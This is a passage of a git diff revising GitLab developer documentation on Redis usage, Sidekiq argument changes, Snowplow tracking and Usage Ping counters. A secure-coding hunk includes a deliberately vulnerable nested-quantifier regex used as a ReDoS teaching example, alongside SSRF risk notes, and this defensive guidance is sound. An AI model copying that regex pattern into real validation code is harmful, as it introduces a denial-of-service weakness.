report). - `pages`: This stage includes a job that deploys the various reports as diff --git a/doc/development/redis.md b/doc/development/redis.md index d5d42a3869e..d205082b9c6 100644 --- a/doc/development/redis.md +++ b/doc/development/redis.md @@ -1,10 +1,19 @@ # Redis guidelines -GitLab uses [Redis](https://redis.io) for three distinct purposes: +GitLab uses [Redis](https://redis.io) for the following distinct purposes: -- Caching via `Rails.cache`. +- Caching (mostly via `Rails.cache`). - As a job processing queue with [Sidekiq](sidekiq_style_guide.md). - To manage the shared application state. +- As a Pub/Sub queue backend for ActionCable. + +In most environments (including the GDK), all of these point to the same +Redis instance. + +On GitLab.com, we use [separate Redis +instances](../administration/redis/replication_and_failover.md#running-multiple-redis-clusters). +(We do not currently use [ActionCable on +GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/228)). Every application process is configured to use the same Redis servers, so they can be used for inter-process communication in cases where [PostgreSQL](sql.md) @@ -21,11 +30,11 @@ to key names to avoid collisions. Typically we use colon-separated elements to provide a semblance of structure at application level. An example might be `projects:1:somekey`. -Although we split our Redis usage into three separate purposes, and those may -map to separate Redis servers in a [Highly Available](../administration/high_availability/redis.md) -configuration, the default Omnibus and GDK setups share a single Redis server. -This means that keys should **always** be globally unique across the three -purposes. +Although we split our Redis usage by purpose into distinct categories, and +those may map to separate Redis servers in a Highly Available +configuration like GitLab.com, the default Omnibus and GDK setups share +a single Redis server. This means that keys should **always** be +globally unique across all categories. It is usually better to use immutable identifiers - project ID rather than full path, for instance - in Redis key names. If full path is used, the key will @@ -56,3 +65,127 @@ Currently, we validate this in the development and test environments with the [`RedisClusterValidator`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/instrumentation/redis_cluster_validator.rb), which is enabled for the `cache` and `shared_state` [Redis instances](https://docs.gitlab.com/omnibus/settings/redis.html#running-with-multiple-redis-instances).. + +## Redis in structured logging + +Our [structured logging](logging.md#use-structured-json-logging) for web +requests and Sidekiq jobs contains fields for the duration, call count, +bytes written, and bytes read per Redis instance, along with a total for +all Redis instances. For a particular request, this might look like: + +| Field | Value | +| --- | --- | +| `json.queue_duration_s` | 0.01 | +| `json.redis_cache_calls` | 1 | +| `json.redis_cache_duration_s` | 0 | +| `json.redis_cache_read_bytes` | 109 | +| `json.redis_cache_write_bytes` | 49 | +| `json.redis_calls` | 2 | +| `json.redis_duration_s` | 0.001 | +| `json.redis_read_bytes` | 111 | +| `json.redis_shared_state_calls` | 1 | +| `json.redis_shared_state_duration_s` | 0 | +| `json.redis_shared_state_read_bytes` | 2 | +| `json.redis_shared_state_write_bytes` | 206 | +| `json.redis_write_bytes` | 255 | + +As all of these fields are indexed, it is then straightforward to +investigate Redis usage in production. For instance, to find the +requests that read the most data from the cache, we can just sort by +`redis_cache_read_bytes` in descending order. + +### The slow log + +On GitLab.com, entries from the [Redis +slow log](https://redis.io/commands/slowlog) are available in the +`pubsub-redis-inf-gprd*` index with the [`redis.slowlog` +tag](https://log.gprd.gitlab.net/app/kibana#/discover?_g=(filters:!(),refreshInterval:(pause:!t,value:0),time:(from:now-1d,to:now))&_a=(columns:!(json.type,json.command,json.exec_time),filters:!(('$state':(store:appState),meta:(alias:!n,disabled:!f,index:AWSQX_Vf93rHTYrsexmk,key:json.tag,negate:!f,params:(query:redis.slowlog),type:phrase),query:(match:(json.tag:(query:redis.slowlog,type:phrase))))),index:AWSQX_Vf93rHTYrsexmk)). +This shows commands that have taken a long time and may be a performance +concern. + +The +[fluent-plugin-redis-slowlog](https://gitlab.com/gitlab-org/fluent-plugin-redis-slowlog) +project is responsible for taking the slowlog entries from Redis and +passing to fluentd (and ultimately Elasticsearch). + +## Analyzing the entire keyspace + +The [Redis Keyspace +Analyzer](https://gitlab.com/gitlab-com/gl-infra/redis-keyspace-analyzer) +project contains tools for dumping the full key list and memory usage of a Redis +instance, and then analyzing those lists while elimating potentially sensitive +data from the results. It can be used to find the most frequent key patterns, or +those that use the most memory. + +Currently this is not run automatically for the GitLab.com Redis instances, but +is run manually on an as-needed basis. + +## Utility classes + +We have some extra classes to help with specific use cases. These are +mostly for fine-grained control of Redis usage, so they wouldn't be used +in combination with the `Rails.cache` wrapper: we'd either use +`Rails.cache` or these classes and literal Redis commands. + +`Rails.cache` or these classes and literal Redis commands. We prefer +using `Rails.cache` so we can reap the benefits of future optimizations +done to Rails. It is worth noting that Ruby objects are +[marshalled](https://github.com/rails/rails/blob/v6.0.3.1/activesupport/lib/active_support/cache/redis_cache_store.rb#L447) +when written to Redis, so we need to pay attention to not to store huge +objects, or untrusted user input. + +Typically we would only use these classes when at least one of the +following is true: + +1. We want to manipulate data on a non-cache Redis instance. +1. `Rails.cache` does not support the operations we want to perform. + +### `Gitlab::Redis::{Cache,SharedState,Queues}` + +These classes wrap the Redis instances (using +[`Gitlab::Redis::Wrapper`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/wrapper.rb)) +to make it convenient to work with them directly. The typical use is to +call `.with` on the class, which takes a block that yields the Redis +connection. For example: + +```ruby +# Get the value of `key` from the shared state (persistent) Redis +Gitlab::Redis::SharedState.with { |redis| redis.get(key) } + +# Check if `value` is a member of the set `key` +Gitlab::Redis::Cache.with { |redis| redis.sismember(key, value) } +``` + +### `Gitlab::Redis::Boolean` + +In Redis, every value is a string. +[`Gitlab::Redis::Boolean`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/boolean.rb) +makes sure that booleans are encoded and decoded consistently. + +### `Gitlab::Redis::HLL` + +The Redis [`PFCOUNT`](https://redis.io/commands/pfcount), +[`PFADD`](https://redis.io/commands/pfadd), and +[`PFMERGE`](https://redis.io/commands/pfmergge) commands operate on +HyperLogLogs, a data structure that allows estimating the number of unique +elements with low memory usage. (In addition to the `PFCOUNT` documentation, +Thoughtbot's article on [HyperLogLogs in +Redis](https://thoughtbot.com/blog/hyperloglogs-in-redis) provides a good +background here.) + +[`Gitlab::Redis::HLL`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/redis/hll.rb) +provides a convenient interface for adding and counting values in HyperLogLogs. + +### `Gitlab::SetCache` + +For cases where we need to efficiently check the whether an item is in a group +of items, we can use a Redis set. +[`Gitlab::SetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/set_cache.rb) +provides an `#include?` method that will use the +[`SISMEMBER`](https://redis.io/commands/sismember) command, as well as `#read` +to fetch all entries in the set. + +This is used by the +[`RepositorySetCache`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/repository_set_cache.rb) +to provide a convenient way to use sets to cache repository data like branch +names. diff --git a/doc/development/repository_mirroring.md b/doc/development/repository_mirroring.md index 1d4dbe88399..fe6db987471 100644 --- a/doc/development/repository_mirroring.md +++ b/doc/development/repository_mirroring.md @@ -3,7 +3,7 @@ ## Deep Dive In December 2018, Tiago Botelho hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`) -on GitLab's [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository-starter) +on GitLab's [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository) to share his domain specific knowledge with anyone who may work in this part of the code base in the future. You can find the [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y), and the slides in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8693404888a941fd851f8a8ecdec9675/Gitlab_Create_-_Pull_Mirroring_Deep_Dive.pdf). diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md index 65953620ce6..1961d1dcc34 100644 --- a/doc/development/secure_coding_guidelines.md +++ b/doc/development/secure_coding_guidelines.md @@ -84,7 +84,7 @@ This Ruby Regex specialty can have security impact, as often regular expressions GitLab specific examples can be found [here](https://gitlab.com/gitlab-org/gitlab/-/issues/36029#note_251262187) and [there](https://gitlab.com/gitlab-org/gitlab/-/issues/33569). -Another example would be this fictional Ruby On Rails controller: +Another example would be this fictional Ruby on Rails controller: ```ruby class PingController < ApplicationController @@ -127,9 +127,9 @@ class Email < ApplicationRecord DOMAIN_MATCH = Regexp.new('([a-zA-Z0-9]+)+\.com') validates :domain_matches - + private - + def domain_matches errors.add(:email, 'does not match') if email =~ DOMAIN_MATCH end @@ -184,7 +184,7 @@ have been reported to GitLab include: - Reading internal services, including cloud service metadata. - The latter can be a serious problem, because an attacker can obtain keys that allow control of the victim's cloud infrastructure. (This is also a good reason to give only necessary privileges to the token.). [More details](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/51490). -- When combined with CRLF vulnerability, remote code execution. [More details](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293) +- When combined with CRLF vulnerability, remote code execution. [More details](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41293). ### When to Consider @@ -213,7 +213,7 @@ the mitigations for a new feature. #### Feature-specific Mitigations -For situtions in which an allowlist or GitLab:HTTP cannot be used, it will be necessary to implement mitigations directly in the feature. It is best to validate the destination IP addresses themselves, not just domain names, as DNS can be controlled by the attacker. Below are a list of mitigations that should be implemented. +For situations in which an allowlist or GitLab:HTTP cannot be used, it will be necessary to implement mitigations directly in the feature. It is best to validate the destination IP addresses themselves, not just domain names, as DNS can be controlled by the attacker. Below are a list of mitigations that should be implemented. **Important Note:** There are many tricks to bypass common SSRF validations. If feature-specific mitigations are necessary, they should be reviewed by the AppSec team, or a developer who has worked on SSRF mitigations previously. diff --git a/doc/development/shell_scripting_guide/index.md b/doc/development/shell_scripting_guide/index.md index c04a4e90e59..622c90d7a97 100644 --- a/doc/development/shell_scripting_guide/index.md +++ b/doc/development/shell_scripting_guide/index.md @@ -65,7 +65,7 @@ shell check: before_script: - shellcheck --version script: - - shellcheck scripts/**/*.sh # path to your shell scripts + - shellcheck scripts/**/*.sh # path to your shell scripts ``` TIP: **Tip:** @@ -93,7 +93,7 @@ shfmt: before_script: - shfmt -version script: - - shfmt -i 2 -ci -d scripts # path to your shell scripts + - shfmt -i 2 -ci -d scripts # path to your shell scripts ``` TIP: **Tip:** diff --git a/doc/development/sidekiq_style_guide.md b/doc/development/sidekiq_style_guide.md index c5dfc5731e6..fdea27f43ca 100644 --- a/doc/development/sidekiq_style_guide.md +++ b/doc/development/sidekiq_style_guide.md @@ -615,42 +615,51 @@ Jobs need to be backward and forward compatible between consecutive versions of the application. Adding or removing an argument may cause problems during deployment before all Rails and Sidekiq nodes have the updated code. -#### Remove an argument +#### Deprecate and remove an argument -**Do not remove arguments from the `perform` function.**. Instead, use the -following approach: +**Before you remove arguments from the `perform_async` and `perform` methods.**, deprecate them. The +following example deprecates and then removes `arg2` from the `perform_async` method: 1. Provide a default value (usually `nil`) and use a comment to mark the - argument as deprecated -1. Stop using the argument in `perform_async`. -1. Ignore the value in the worker class, but do not remove it until the next - major release. + argument as deprecated in the coming minor release. (Release M) -In the following example, if you want to remove `arg2`, first set a `nil` default value, -and then update locations where `ExampleWorker.perform_async` is called. + ```ruby + class ExampleWorker + # Keep arg2 parameter for backwards compatibility. + def perform(object_id, arg1, arg2 = nil) + # ... + end + end + ``` -```ruby -class ExampleWorker - def perform(object_id, arg1, arg2 = nil) - # ... - end -end -``` +1. One minor release later, stop using the argument in `perform_async`. (Release M+1) + + ```ruby + ExampleWorker.perform_async(object_id, arg1) + ``` + +1. At the next major release, remove the value from the worker class. (Next major release) + + ```ruby + class ExampleWorker + def perform(object_id, arg1) + # ... + end + end + ``` #### Add an argument There are two options for safely adding new arguments to Sidekiq workers: -1. Set up a [multi-step deployment](#multi-step-deployment) in which the new argument is first added to the worker +1. Set up a [multi-step deployment](#multi-step-deployment) in which the new argument is first added to the worker. 1. Use a [parameter hash](#parameter-hash) for additional arguments. This is perhaps the most flexible option. ##### Multi-step deployment -This approach requires multiple merge requests and for the first merge request -to be merged and deployed before additional changes are merged. +This approach requires multiple releases. -1. In an initial merge request, add the argument to the worker with a default - value: +1. Add the argument to the worker with a default value (Release M). ```ruby class ExampleWorker @@ -660,16 +669,28 @@ to be merged and deployed before additional changes are merged. end ``` -1. Merge and deploy the worker with the new argument. -1. In a further merge request, update `ExampleWorker.perform_async` calls to - use the new argument. +1. Add the new argument to all the invocations of the worker (Release M+1). + + ```ruby + ExampleWorker.perform_async(object_id, new_arg) + ``` + +1. Remove the default value (Release M+2). + + ```ruby + class ExampleWorker + def perform(object_id, new_arg) + # ... + end + end + ``` ##### Parameter hash -This approach will not require multiple deployments if an existing worker already +This approach will not require multiple releases if an existing worker already utilizes a parameter hash. -1. Use a parameter hash in the worker to allow for future flexibility: +1. Use a parameter hash in the worker to allow future flexibility. ```ruby class ExampleWorker diff --git a/doc/development/telemetry/snowplow.md b/doc/development/telemetry/snowplow.md index 547ba36464b..f427d7d1488 100644 --- a/doc/development/telemetry/snowplow.md +++ b/doc/development/telemetry/snowplow.md @@ -40,7 +40,7 @@ Snowplow is an enterprise-grade marketing and product analytics platform which h We have many definitions of Snowplow's schema. We have an active issue to [standardize this schema](https://gitlab.com/gitlab-org/gitlab/-/issues/207930) including the following definitions: - Frontend and backend taxonomy as listed below -- [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy) +- [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy) - [Self describing events](https://github.com/snowplow/snowplow/wiki/Custom-events#self-describing-events) - [Iglu schema](https://gitlab.com/gitlab-org/iglu/) - [Snowplow authored events](https://github.com/snowplow/snowplow/wiki/Snowplow-authored-events) @@ -98,13 +98,13 @@ sequenceDiagram ## Implementing Snowplow JS (Frontend) tracking -GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to utilize tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). +GitLab provides `Tracking`, an interface that wraps the [Snowplow JavaScript Tracker](https://github.com/snowplow/snowplow/wiki/javascript-tracker) for tracking custom events. There are a few ways to utilize tracking, but each generally requires at minimum, a `category` and an `action`. Additional data can be provided that adheres to our [Feature instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). | field | type | default value | description | |:-----------|:-------|:---------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `category` | string | document.body.dataset.page | Page or subsection of a page that events are being captured within. | | `action` | string | 'generic' | Action the user is taking. Clicks should be `click` and activations should be `activate`, so for example, focusing a form field would be `activate_form_input`, and clicking a button would be `click_button`. | -| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). | +| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). | ### Tracking in HAML (or Vue Templates) @@ -131,10 +131,10 @@ Below is a list of supported `data-track-*` attributes: | attribute | required | description | |:----------------------|:---------|:------------| | `data-track-event` | true | Action the user is taking. Clicks must be prepended with `click` and activations must be prepended with `activate`. For example, focusing a form field would be `activate_form_input` and clicking a button would be `click_button`. | -| `data-track-label` | false | The `label` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). | -| `data-track-property` | false | The `property` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). | -| `data-track-value` | false | The `value` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. | -| `data-track-context` | false | The `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). | +| `data-track-label` | false | The `label` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). | +| `data-track-property` | false | The `property` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). | +| `data-track-value` | false | The `value` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). If omitted, this is the element's `value` property or an empty string. For checkboxes, the default value is the element's checked attribute or `false` when unchecked. | +| `data-track-context` | false | The `context` as described [in our Feature Instrumentation taxonomy](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). | ### Tracking within Vue components @@ -278,7 +278,7 @@ Custom event tracking and instrumentation can be added by directly calling the ` |:-----------|:-------|:--------------|:-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | `category` | string | 'application' | Area or aspect of the application. This could be `HealthCheckController` or `Lfs::FileTransformer` for instance. | | `action` | string | 'generic' | The action being taken, which can be anything from a controller action like `create` to something like an Active Record callback. | -| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described in [Instrumentation at GitLab](https://about.gitlab.com/handbook/product/product-processes/#taxonomy). These are set as empty strings if you don't provide them. | +| `data` | object | {} | Additional data such as `label`, `property`, `value`, and `context` as described in [Instrumentation at GitLab](https://about.gitlab.com/handbook/business-ops/data-team/programs/data-for-product-managers/#sts=Taxonomy). These are set as empty strings if you don't provide them. | Tracking can be viewed as either tracking user behavior, or can be utilized for instrumentation to monitor and visualize performance over time in an area or aspect of code. @@ -316,6 +316,11 @@ There are several tools for developing and testing Snowplow Event **{check-circle}** Available, **{status_preparing}** In progress, **{dotted-circle}** Not Planned +### Preparing your MR for Review + +1. For frontend events, in the MR description section, add a screenshot of the event's relevant section using the [Snowplow Analytics Debugger](https://chrome.google.com/webstore/detail/snowplow-analytics-debugg/jbnlcgeengmijcghameodeaenefieedm) Chrome browser extension. +1. For backend events, please use Snowplow Micro and add the output of the Snowplow Micro good events `GET http://localhost:9090/micro/good`. + ### Snowplow Analytics Debugger Chrome Extension Snowplow Analytics Debugger is a browser extension for testing frontend events. This works on production, staging and local development environments. @@ -393,7 +398,7 @@ Snowplow Micro is a Docker-based solution for testing frontend and backend event 1. Send a test Snowplow event from the Rails console: ```ruby - Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', { page_type: ‘MY_TYPE' }, context: nil ) + Gitlab::Tracking.self_describing_event('iglu:com.gitlab/pageview_context/jsonschema/1-0-0', { page_type: 'MY_TYPE' }, context: nil ) ``` ### Snowplow Mini diff --git a/doc/development/telemetry/usage_ping.md b/doc/development/telemetry/usage_ping.md index ea5eb6c389f..ff4e7e0797b 100644 --- a/doc/development/telemetry/usage_ping.md +++ b/doc/development/telemetry/usage_ping.md @@ -37,7 +37,7 @@ More useful links: - The main purpose of Usage Ping is to build a better GitLab. Data about how GitLab is used is collected to better understand feature/stage adoption and usage, which helps us understand how GitLab is adding value and helps our team better understand the reasons why people use GitLab and with this knowledge we're able to make better product decisions. - As a benefit of having the usage ping active, GitLab lets you analyze the users’ activities over time of your GitLab installation. -- As a benefit of having the usage ping active, GitLab provides you with The DevOps Score,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring. +- As a benefit of having the usage ping active, GitLab provides you with The DevOps Report,which gives you an overview of your entire instance’s adoption of Concurrent DevOps from planning to monitoring. - You will get better, more proactive support. (assuming that our TAMs and support organization used the data to deliver more value) - You will get insight and advice into how to get the most value out of your investment in GitLab. Wouldn't you want to know that a number of features or values are not being adopted in your organization? - You get a report that illustrates how you compare against other similar organizations (anonymized), with specific advice and recommendations on how to improve your DevOps processes. @@ -108,7 +108,7 @@ sequenceDiagram S3 Bucket->>Snowflake DW: Import data Snowflake DW->>Snowflake DW: Transform data using dbt Snowflake DW->>Sisense Dashboards: Data available for querying - Versions Application->>GitLab Instance: DevOps Score (Conversational Development Index) + Versions Application->>GitLab Instance: DevOps Report (Conversational Development Index) ``` ## How Usage Ping works @@ -222,38 +222,239 @@ Examples of implementation: #### Redis HLL Counters -With `Gitlab::Redis::HLL` we have available data structures used to count unique values. +With `Gitlab::UsageDataCounters::HLLRedisCounter` we have available data structures used to count unique values. Implemented using Redis methods [PFADD](https://redis.io/commands/pfadd) and [PFCOUNT](https://redis.io/commands/pfcount). -Recommendations: +##### Adding new events -- Key should expire in 29 days. -- If possible, data granularity should be a week. For example a key could be composed from the metric's name and week of the year, `2020-33-{metric_name}`. -- Use a [feature flag](../../operations/feature_flags.md) in order to have a control over the impact when adding new metrics. -- If possible, data granularity should be week, for example a key could be composed from metric name and week of the year, 2020-33-{metric_name} -- Use a [feature flag](../../operations/feature_flags.md) in order to have a control over the impact when adding new metrics +1. Define events in [`known_events.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events.yml). -Examples of implementation: + Example event: -- [`Gitlab::UsageDataCounters::TrackUniqueActions`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/track_unique_actions.rb) -- [`Gitlab::Analytics::UniqueVisits`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/analytics/unique_visits.rb) + ```yaml + - name: i_compliance_credential_inventory + category: compliance + redis_slot: compliance + expiry: 42 # 6 weeks + aggregation: weekly + ``` -Example of usage: + Keys: + + - `name`: unique event name. + + Name format `<prefix>_<redis_slot>_name`. + + Use one of the following prefixes for the event's name: + + - `g_` for group, as an event which is tracked for group. + - `p_` for project, as an event which is tracked for project. + - `i_` for instance, as an event which is tracked for instance. + - `a_` for events encompassing all `g_`, `p_`, `i_`. + - `o_` for other. + + Consider including in the event's name the Redis slot in order to be able to count totals for a specific category. + + Example names: `i_compliance_credential_inventory`, `g_analytics_contribution`. + + - `category`: event category. Used for getting total counts for events in a category, for easier + access to a group of events. + - `redis_slot`: optional Redis slot; default value: event name. Used if needed to calculate totals + for a group of metrics. Ensure keys are in the same slot. For example: + `i_compliance_credential_inventory` with `redis_slot: 'compliance'` will build Redis key + `i_{compliance}_credential_inventory-2020-34`. If `redis_slot` is not defined the Redis key will + be `{i_compliance_credential_inventory}-2020-34`. + - `expiry`: expiry time in days. Default: 29 days for daily aggregation and 6 weeks for weekly + aggregation. + - `aggregation`: aggregation `:daily` or `:weekly`. The argument defines how we build the Redis + keys for data storage. For `daily` we keep a key for metric per day of the year, for `weekly` we + keep a key for metric per week of the year. + +1. Track event in controller using `RedisTracking` module with `track_redis_hll_event(*controller_actions, name:, feature:, feature_default_enabled: false)`. + + Arguments: + + - `controller_actions`: controller actions we want to track. + - `name`: event name. + - `feature`: feature name, all metrics we track should be under feature flag. + - `feature_default_enabled`: feature flag is disabled by default, set to `true` for it to be enabled by default. + + Example usage: + + ```ruby + # controller + class ProjectsController < Projects::ApplicationController + include RedisTracking + + skip_before_action :authenticate_user!, only: :show + track_redis_hll_event :index, :show, name: 'i_analytics_dev_ops_score', feature: :g_compliance_dashboard_feature, feature_default_enabled: true + + def index + render html: 'index' + end + + def new + render html: 'new' + end + + def show + render html: 'show' + end + end + ``` + +1. Track event in API using `increment_unique_values(event_name, values)` helper method. + + In order to be able to track the event, Usage Ping must be enabled and the event feature `usage_data_<event_name>` must be enabled. + + Arguments: + + - `event_name`: event name. + - `values`: values counted, one value or array of values. + + Example usage: + + ```ruby + get ':id/registry/repositories' do + repositories = ContainerRepositoriesFinder.new( + user: current_user, subject: user_group + ).execute + + increment_unique_values('i_list_repositories', current_user.id) + + present paginate(repositories), with: Entities::ContainerRegistry::Repository, tags: params[:tags], tags_count: params[:tags_count] + end + ``` + +1. Track event using `track_usage_event(event_name, values) in services and graphql + + Increment unique values count using Redis HLL, for given event name. + + Example: + + [Track usage event for incident created in service](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/issues/update_service.rb) + + [Track usage event for incident created in graphql](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/mutations/alert_management/update_alert_status.rb) + + ```ruby + track_usage_event(:incident_management_incident_created, current_user.id) + ``` + +1. Track event using `UsageData` API + + Increment unique users count using Redis HLL, for given event name. + + Tracking events using the `UsageData` API requires the `usage_data_api` feature flag to be enabled, which is disabled by default. + + API requests are protected by checking for a valid CSRF token. + + In order to be able to increment the values the related feature `usage_data<event_name>` should be enabled. + + ```plaintext + POST /usage_data/increment_unique_users + ``` + + | Attribute | Type | Required | Description | + | :-------- | :--- | :------- | :---------- | + | `event` | string | yes | The event name it should be tracked | + + Response + + Return 200 if tracking failed for any reason. + + - `200` if event was tracked or any errors + - `400 Bad request` if event parameter is missing + - `401 Unauthorized` if user is not authenticated + - `403 Forbidden` for invalid CSRF token provided + +1. Track event using base module `Gitlab::UsageDataCounters::HLLRedisCounter.track_event(entity_id, event_name)`. + + Arguments: + + - `entity_id`: value we count. For example: user_id, visitor_id. + - `event_name`: event name. + +1. Get event data using `Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names:, start_date:, end_date)`. + + Arguments: + + - `event_names`: the list of event names. + - `start_date`: start date of the period for which we want to get event data. + - `end_date`: end date of the period for which we want to get event data. + +Recommendations: + +- Key should expire in 29 days for daily and 42 days for weekly. +- If possible, data granularity should be a week. For example a key could be composed from the + metric's name and week of the year, `2020-33-{metric_name}`. +- Use a [feature flag](../../operations/feature_flags.md) to have a control over the impact when + adding new metrics. + +##### Known events in usage data payload + +All events added in [`known_events.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events.yml) are automatically added to usage data generation under the `redis_hll_counters` key. This column is stored in [version-app as a JSON](https://gitlab.com/gitlab-services/version-gitlab-com/-/blob/master/db/schema.rb#L209). +For each event we add metrics for the weekly and monthly time frames, and totals for each where applicable: + +- `#{event_name}_weekly` data for 7 days for daily [aggregation](#adding-new-events) events and data for last complete week for weekly [aggregation](#adding-new-events) events. +- `#{event_name}_monthly` data for 28 days for daily [aggregation](#adding-new-events) events and data for last 4 complete weeks for weekly [aggregation](#adding-new-events) events. +- `#{category}_total_unique_counts_weekly` total unique counts for events in same category for last 7 days or last complete week, if events are in the same Redis slot and if we have more than one metric. +- `#{event_name}_weekly` - Data for 7 days for daily [aggregation](#adding-new-events) events and data for the last complete week for weekly [aggregation](#adding-new-events) events. +- `#{event_name}_monthly` - Data for 28 days for daily [aggregation](#adding-new-events) events and data for the last 4 complete weeks for weekly [aggregation](#adding-new-events) events. +- `#{category}_total_unique_counts_weekly` - Total unique counts for events in the same category for the last 7 days or the last complete week, if events are in the same Redis slot and we have more than one metric. +- `#{event_name}_weekly`: Data for 7 days for daily [aggregation](#adding-new-events) events and data for last complete week for weekly [aggregation](#adding-new-events) events. +- `#{event_name}_monthly`: Data for 28 days for daily [aggregation](#adding-new-events) events and data for last 4 complete weeks for weekly [aggregation](#adding-new-events) events. +- `#{category}_total_unique_counts_weekly` total unique counts for events in same category for last 7 days or last complete week, if events are in the same Redis slot and if we have more than one metric. +- `#{event_name}_weekly`: Data for 7 days for daily [aggregation](#adding-new-events) events and data for the last complete week for weekly [aggregation](#adding-new-events) events. +- `#{event_name}_monthly`: Data for 28 days for daily [aggregation](#adding-new-events) events and data for the last 4 complete weeks for weekly [aggregation](#adding-new-events) events. +- `#{category}_total_unique_counts_weekly`: Total unique counts for events in the same category for the last 7 days or the last complete week, if events are in the same Redis slot and we have more than one metric. +- `#{category}_total_unique_counts_monthly`: Total unique counts for events in same category for the last 28 days or the last 4 complete weeks, if events are in the same Redis slot and we have more than one metric. + +Example of `redis_hll_counters` data: + +```ruby +{:redis_hll_counters=> + {"compliance"=> + {"g_compliance_dashboard_weekly"=>0, + "g_compliance_dashboard_monthly"=>0, + "g_compliance_audit_events_weekly"=>0, + "g_compliance_audit_events_monthly"=>0, + "compliance_total_unique_counts_weekly"=>0, + "compliance_total_unique_counts_monthly"=>0}, + "analytics"=> + {"g_analytics_contribution_weekly"=>0, + "g_analytics_contribution_monthly"=>0, + "g_analytics_insights_weekly"=>0, + "g_analytics_insights_monthly"=>0, + "analytics_total_unique_counts_weekly"=>0, + "analytics_total_unique_counts_monthly"=>0}, + "ide_edit"=> + {"g_edit_by_web_ide_weekly"=>0, + "g_edit_by_web_ide_monthly"=>0, + "g_edit_by_sfe_weekly"=>0, + "g_edit_by_sfe_monthly"=>0, + "ide_edit_total_unique_counts_weekly"=>0, + "ide_edit_total_unique_counts_monthly"=>0}, + "search"=> + {"i_search_total_weekly"=>0, "i_search_total_monthly"=>0, "i_search_advanced_weekly"=>0, "i_search_advanced_monthly"=>0, "i_search_paid_weekly"=>0, "i_search_paid_monthly"=>0, "search_total_unique_counts_weekly"=>0, "search_total_unique_counts_monthly"=>0}, + "source_code"=>{"wiki_action_weekly"=>0, "wiki_action_monthly"=>0} + } +``` + +Example usage: ```ruby # Redis Counters redis_usage_data(Gitlab::UsageDataCounters::WikiPageCounter) redis_usage_data { ::Gitlab::UsageCounters::PodLogs.usage_totals[:total] } -# Redis HLL counter -counter = Gitlab::UsageDataCounters::TrackUniqueActions -redis_usage_data do - counter.count_unique_events( - event_action: Gitlab::UsageDataCounters::TrackUniqueActions::PUSH_ACTION, - date_from: time_period[:created_at].first, - date_to: time_period[:created_at].last - ) +# Define events in known_events.yml https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events.yml + +# Tracking events +Gitlab::UsageDataCounters::HLLRedisCounter.track_event(visitor_id, 'expand_vulnerabilities') + +# Get unique events for metric +redis_usage_data { 